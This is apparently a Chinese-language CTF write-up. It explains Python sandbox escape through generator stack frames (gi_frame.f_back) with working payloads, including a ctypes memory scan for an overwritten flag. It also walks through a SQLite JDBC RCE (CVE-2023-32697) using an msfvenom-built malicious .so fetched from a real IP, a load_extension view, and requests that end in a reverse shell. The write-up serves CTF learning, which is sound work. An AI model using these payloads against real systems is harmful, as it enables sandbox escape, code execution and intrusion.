for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]:
if i in (event + "".join(str(s) for s in args)).lower():
print(i)
os._exit(1)
return audit


def source_opcode_checker(code):
"""
Check the source in the bytecode aspect, no methods and globals should be load
:param code: source code
:return: None
"""

from dis import dis
from builtins import str
from io import StringIO
from sys import exit

opcodeIO = StringIO()
dis(code, file=opcodeIO)
opcode = opcodeIO.getvalue().split("\n")
opcodeIO.close()
for line in opcode:
if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
break
print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
exit()


if __name__ == "__main__":

from builtins import open
from sys import addaudithook
from contextlib import redirect_stdout
from random import randint, randrange, seed
from io import StringIO
from random import seed
from time import time

source = open(f"/app/uploads/THIS_IS_TASK_RANDOM_ID.txt", "r").read()
source_simple_check(source)
source_opcode_checker(source)
code = compile(source, "<sandbox>", "exec")
addaudithook(block_wrapper())
outputIO = StringIO()
with redirect_stdout(outputIO):
seed(str(time()) + "THIS_IS_SEED" + str(time()))
exec(code, {
"__builtins__": None,
"randint": randint,
"randrange": randrange,
"seed": seed,
"print": print
}, None)
output = outputIO.getvalue()

if "THIS_IS_SEED" in output:
print("这 runtime 你就嘎嘎写吧, 一写一个不吱声啊,点儿都没拦住!")
print("bad code-operation why still happened ah?")
else:
print(output)

main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import os
import subprocess
from flask import Flask, request, jsonify
from uuid import uuid1

app = Flask(__name__)

runner = open("/app/runner.py", "r", encoding="UTF-8").read()
flag = open("/flag", "r", encoding="UTF-8").readline().strip()


@app.post("/run")
def run():
id = str(uuid1())
try:
data = request.json
open(f"/app/uploads/{id}.py", "w", encoding="UTF-8").write(
runner.replace("THIS_IS_SEED", flag).replace("THIS_IS_TASK_RANDOM_ID", id))
open(f"/app/uploads/{id}.txt", "w", encoding="UTF-8").write(data.get("code", ""))
run = subprocess.run(
['python', f"/app/uploads/{id}.py"],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=3
)
result = run.stdout.decode("utf-8")
error = run.stderr.decode("utf-8")
print(result, error)


if os.path.exists(f"/app/uploads/{id}.py"):
os.remove(f"/app/uploads/{id}.py")
if os.path.exists(f"/app/uploads/{id}.txt"):
os.remove(f"/app/uploads/{id}.txt")
return jsonify({
"result": f"{result}\n{error}"
})
except:
if os.path.exists(f"/app/uploads/{id}.py"):
os.remove(f"/app/uploads/{id}.py")
if os.path.exists(f"/app/uploads/{id}.txt"):
os.remove(f"/app/uploads/{id}.txt")
return jsonify({
"result": "None"
})


if __name__ == "__main__":
app.run("0.0.0.0", 5000)

main.py主要都是路径相关的,咱们主要看runner.py

source_simple_check 函数

检查源代码中是否存在非 ASCII 字符。

检查源代码是否包含某些敏感关键字(如 __getattrexit)。

block_wrapper 函数

通过 sys.audithook 实现运行时审计,拦截特定事件(如 marshalprocessossys 等)并立即退出。

source_opcode_checker 函数

使用 Python 的 dis 模块检查字节码中的敏感指令(如 LOAD_GLOBALIMPORT_NAMELOAD_METHOD)。

对某些特定的函数(如 randintrandrangeprint)做了豁免处理。

在main主程序中,使用受限的全局变量执行代码(如禁止访问 __builtins__,只允许使用特定函数)。

看前面就一堆过滤,过滤这过滤那,看到main程序,这我熟啊,沙箱逃逸,一个新知识点,*栈帧逃逸*

栈帧逃逸

基础知识

生成器

生成器(Generator)是 Python 中一种特殊的迭代器,生成器可以使用 yield 关键字来定义。

yield 用于产生一个值,并在保留当前状态的同时暂停函数的执行。当下一次调用生成器时,函数会从上次暂停的位置继续执行,直到遇到下一个 yield 语句或者函数结束

存在yield就是生成器最明显的标志,yield类似于return,区别在于yield其中好像有next函数,每执行一次yield,也就会从上一次结束的地方执行next,不像return直接返回一个数

生成器表达式

生成器表达式允许你使用简洁的语法来定义生成器,而不必显式地编写一个函数。

但是使用圆括号而不是方括号

1
2
3
4
a=(i+1 for i in range(100))
#next(a)
for value in a:
print(value)

生成器的属性

gi_code: 生成器对应的code对象。
gi_frame: 生成器对应的frame(栈帧)对象。
gi_running: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。
gi_yieldfrom:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。
gi_frame.f_locals:一个字典,包含生成器当前帧的本地变量。

gi_frame 是一个与生成器(generator)和协程(coroutine)相关的属性。它指向生成器或协程当前执行的帧对象(frame object),如果这个生成器或协程正在执行的话。帧对象表示代码执行的当前上下文,包含了局部变量、执行的字节码指令等信息

举例使用gi_frame获取当前帧的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def my_generator():
yield 1
yield 2
yield 3

gen = my_generator()

# 获取生成器的当前帧信息
frame = gen.gi_frame

# 输出生成器的当前帧信息
print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)

栈帧(frame)介绍

在 Python 中,栈帧(stack frame),也称为帧(frame),是用于执行代码的数据结构。每当 Python 解释器执行一个函数或方法时,都会创建一个新的栈帧,用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。这些栈帧会按照调用顺序被组织成一个栈,称为调用栈。(跟c/c++中的栈类似,懂点逆向知识应该很好理解)

栈帧包含了以下几个重要的属性:
f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名。
f_globals: 一个字典,包含了函数或方法所在模块的全局变量。
f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。
f_lasti: 整数,表示最后执行的字节码指令的索引。
f_back: 指向上一级调用栈帧的引用,用于构建调用栈。

每个栈帧都会保存当时的 py 字节码和记录自身上一层的栈帧 !!!!!

利用栈帧(frame)逃逸沙箱

原理就是通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals符号表,例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
key = "this is flag"
codes='''
def waff():
def f():
yield g.gi_frame.f_back
g = f() #生成器
frame = next(g) #获取到生成器的栈帧对象
b = frame.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals
return b
b=waff()
'''
locals={}
code = compile(codes, "", "exec")
exec(code, locals, None)
print(locals["b"]) # this is flag

codes创建了一个沙箱环境,但是key在沙箱外,通过frame.f_back.f_back.f_globals[‘key’]逃逸出来,获取到了key的值

L3HCTF2024{“builtins“: None}

1
exec(code,{"__builtins__": None},locals)

典型的栈帧逃逸

不能直接通过 next()函数去获取到栈帧,但可以通过for语句去获取

1
2
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
1
2
3
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
globals=a.f_back.f_back.f_globals

中海洋 菜鸟工具2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from flask import *
import io
import time

app = Flask(__name__)
black_list = [
'__build_class__', '__debug__', '__doc__', '__import__',
'__loader__', '__name__', '__package__', '__spec__', 'SystemExit',
'breakpoint', 'compile', 'exit', 'memoryview', 'open', 'quit', 'input'
]
new_builtins = dict([
(key, val) for key, val in __builtins__.__dict__.items() if key not in black_list
])

flag = "flag{xxxxxx}"
flag = "DISPOSED"

@app.route("/")
def index():
return redirect("/static/index.html")

@app.post("/run")
def run():
out = io.StringIO()
script = str(request.form["script"])

def wrap_print(*args, **kwargs):
kwargs["file"] = out
print(*args, **kwargs)
new_builtins["print"] = wrap_print

try:
exec(script, {"__builtins__": new_builtins})
except Exception as e:
wrap_print(e)

ret = out.getvalue()
out.close()
return ret

time.sleep(5) # current source file is deleted
app.run('0.0.0.0', port=9001)

flag在源码中,但是源码被删除,没有 /proc目录

要获得被覆写的 flag 内容只剩一个地方可以找,就是依靠 python 解析自身进程的内存

cpython 的实现中暴露了获取 python 栈帧的方法

而每个栈帧都会保存当时的 py 字节码和记录自身上一层的栈帧

而对 flag 的赋值的字节码肯定存在于某个栈帧中,我们只需要从当前栈帧向上找就行了

利用 ctypes模块的指针,将flag地址周围的值读一下,实现一个从内存读源码

因为真正的flag在覆盖的flag之前,所以读到假的flag的地址后,往前读取即可

这里用了char 指针,读出来的是一个字符串

最细节的是每次位移8的倍数。(可以自行对比任意两个变量的地址,可以发现它们的差值都是8的倍数)

1
2
3
4
5
6
7
8
9
10
11
12
a=(a.gi_frame.f_back.f_back for i in [1])
a = [x for x in a][0]

b = a.f_back.f_globals
flag_id = id(b['flag']) #id()函数用于读取内存地址
ctypes = b["__builtins__"].__import__('ctypes')
#print(ctypes)

for i in range(10000):
txt = ctypes.cast((flag_id-8*i),ctypes.c_char_p).value
if b"flag" in txt:
print(txt)

使用的是非常普通的继承链获取globals对象,然后从线程上去找栈帧

而且flask 使用了多线程去处理每个请求,这导致直接在当前线程的栈帧向上找会找不到主线

程的 flag,需要从主线程栈帧向上找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
sys = print.__globals__["__builtins__"].__import__('sys')
io = print.__globals__["__builtins__"].__import__('io')
dis = print.__globals__["__builtins__"].__import__('dis')
threading = print.__globals__["__builtins__"].__import__('threading')
print(threading.enumerate()) #获取所有活跃线程
print(threading.main_thread()) #获取主线程
print(threading.main_thread().ident) # 获取主线程标识符
print(sys._current_frames()) # 获取所有线程的堆栈帧对象
print(sys._current_frames()[threading.main_thread().ident]) #获取到主线程的堆栈帧对象


frame = sys._current_frames()[threading.main_thread().ident]

while frame is not None:
out = io.StringIO() # 内存创建字符串I/O流
dis.dis(frame.f_code,file=out) # 将当前堆栈帧所对应的函数的字节码进行反汇编
content = out.getvalue() #获取反汇编的结果
out.close()
print(content)
frame = frame.f_back

回到此题

打印出当前帧的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import json
payload = '''def my_generator():
yield 1
yield 2
yield 3

gen = my_generator()

frame = gen.gi_frame

print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)'''

data = {
"code": payload
}
print(json.dumps(data))

{"result":"Local Variables: {}\nGlobal Variables: {'__builtins__': None, 'randint': <bound method Random.randint of <random.Random object at 0x556d0dee3160>>, 'randrange': <bound method Random.randrange of <random.Random object at 0x556d0dee3160>>, 'seed': <bound method Random.seed of <random.Random object at 0x556d0dee3160>>, 'print': <built-in function print>, 'my_generator': <function my_generator at 0x7f52f86a02c0>, 'gen': <generator object my_generator at 0x7f52f8792cf0>, 'frame': <frame at 0x7f52f87963b0, file '<sandbox>', line 1, code my_generator>}\nCode Object: <code object my_generator at 0x7f52f85de250, file \"<sandbox>\", line 1>\nInstruction Pointer: 0\n\n\n"}

获取global符号表

1
2
3
4
5
6
7
8
9
10
11
def waff():
def f():
yield g.gi_frame.f_back

g = f()
frame = [x for x in g][0]
print(frame)
print(frame.f_back)
waff()

{"result":"<frame at 0x7f15a02e2c40, file '<sandbox>', line 6, code <listcomp>>\n<frame at 0x7f15a02bd0c0, file '<sandbox>', line 8, code waff>\n\n\n"}

继续向上找builtins模块

1
2
3
4
5
6
7
8
9
10
11
12
def waff():
def f():
yield g.gi_frame.f_back

g = f()
frame = [x for x in g][0]
print(frame)
print(frame.f_back.f_back.f_back)
waff()

向上3次找到
{"result":"<frame at 0x7f750291acf0, file '<sandbox>', line 6, code <listcomp>>\n<frame at 0x7f7502765b60, file '/app/uploads/eb2153f0-b85f-11ef-a644-0242ac0cbbf7.py', line 84, code <module>>\n\n\n"}

重新定义global下builtins

1
gattr = frame.f_back.f_back.f_back.f_globals['_''_bui''ltins_''_']

利用f_code打印出其中的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def waff():
def f():
yield g.gi_frame.f_back

g = f()
frame = [x for x in g][0]
print(frame)
print(frame.f_back.f_back.f_back)
gattr = frame.f_back.f_back.f_back.f_globals['_''_bui''ltins_''_']
dir=gattr.dir
gattr1 = frame.f_back.f_back.f_back.f_code
print(dir(gattr1))
waff()

调用builtins模块中的dir打印出
{"result":"<frame at 0x7f1d3bff2c40, file '<sandbox>', line 6, code <listcomp>>\n<frame at 0x7f1d3be41b60, file '/app/uploads/7be1d35a-b861-11ef-bbf9-0242ac0cbbf7.py', line 84, code <module>>\n['__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_co_code_adaptive', '_varname_from_oparg', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_exceptiontable', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_kwonlyargcount', 'co_lines', 'co_linetable', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_positions', 'co_posonlyargcount', 'co_qualname', 'co_stacksize', 'co_varnames', 'replace']\n\n\n"}

打印不出来flag,前面了解到可以用for循环打印

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def waff():
def f():
yield g.gi_frame.f_back

g = f()
frame = [x for x in g][0]
print(frame)
print(frame.f_back.f_back.f_back)
gattr = frame.f_back.f_back.f_back.f_globals['_''_bui''ltins_''_']
dir = gattr.dir
gattr1 = frame.f_back.f_back.f_back.f_code
print(dir(gattr1))

for i in gattr1.co_consts:
print(i)
waff()

检测到了THIS_IS_SEED

image-20241212162310041

换个形式输出,转str

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def waff():
def f():
yield g.gi_frame.f_back

g = f()
frame = [x for x in g][0]
print(frame)
print(frame.f_back.f_back.f_back)
gattr = frame.f_back.f_back.f_back.f_globals['_''_bui''ltins_''_']
dir = gattr.dir
gattr1 = frame.f_back.f_back.f_back.f_code
print(dir(gattr1))
str=gattr.str
for i in str(gattr1.co_consts):
print(i)
waff()

后面替换掉\n就可看到flag

image-20241212162717545

深深学习到了

借鉴链接:https://zer0peach.github.io/2024/04/29/python%E6%A0%88%E5%B8%A7%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/#python%E5%88%A9%E7%94%A8%E6%A0%88%E5%B8%A7%E8%BF%9B%E8%A1%8C%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8

https://www.cnblogs.com/F12-blog/p/18208215

CISCN2024 ezjava

JDBC打Sqlite CVE-2023-32697——sqlite jdbc RCE

主要在DatasourceServiceimpl.class里的testDatasourceConnectionAble,里面有三个sql的测试连接方法

image-20241212214036251

看第三种

2746479-20240523113959376-40327567

来自F12师傅:

通过执行jdbc:sqlite::resource:http://ip:port/poc.db ,会在/tmp目录下生成一个缓存文件,名称格式是sqlite-jdbc-tmp-?????? ,这个名称是可以计算出来的,计算方法:new URL(url).hashCode()+'.db' ,读取传入的url的hashCode,再拼接.db 就是名称了,所以我们可以创建一个恶意sqlite db文件,执行sql语句:CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp--1886741859.db')); ,这里写入了load_extension来加载恶意的so,/tmp/sqlite-jdbc-tmp--1886741859.db 是我们传入的恶意so的url在tmp目录下生成的缓存文件,所以我们得提前计算好这个名称

msf生成恶意so文件

1
msfvenom -p linux/x64/exec CMD='echo YmFzaCA |base64 -d |bash ' -f elf-so -o exp.so 

上传到服务器启动文件服务

用下列代码算出文件的hashcode

1
2
3
4
5
6
7
8
9
10
11
package com.example.jdbctest.exp;
import java.net.MalformedURLException;
import java.net.URL;

public class filename {
public static void main(String[] args) throws MalformedURLException {
String so = "http://140.143.143.130:8080/exp.so";
String url = so;
String filename = "/tmp/sqlite-jdbc-tmp-"+new
URL(url).hashCode()+".db";System.out.printf(filename);}
}

比如我的是

image-20241212213208817

利用恶意的db文件https://github.com/su18/JDBC-Attack/blob/main/sqlite-attack/src/main/resources/poc.db

需要修改一下

利用navicat修改即可

image-20241212213611817

之后也上传至服务器

启动监听

1
2
{"type":3, "url":"jdbc:sqlite::resource:http://ip:port/exp.so"}
{"type":3, "url":"jdbc:sqlite::resource:http://ip:port/poc.db", "tableName":"security"}

依次运行,等待反弹shell即可

image-20241212213731393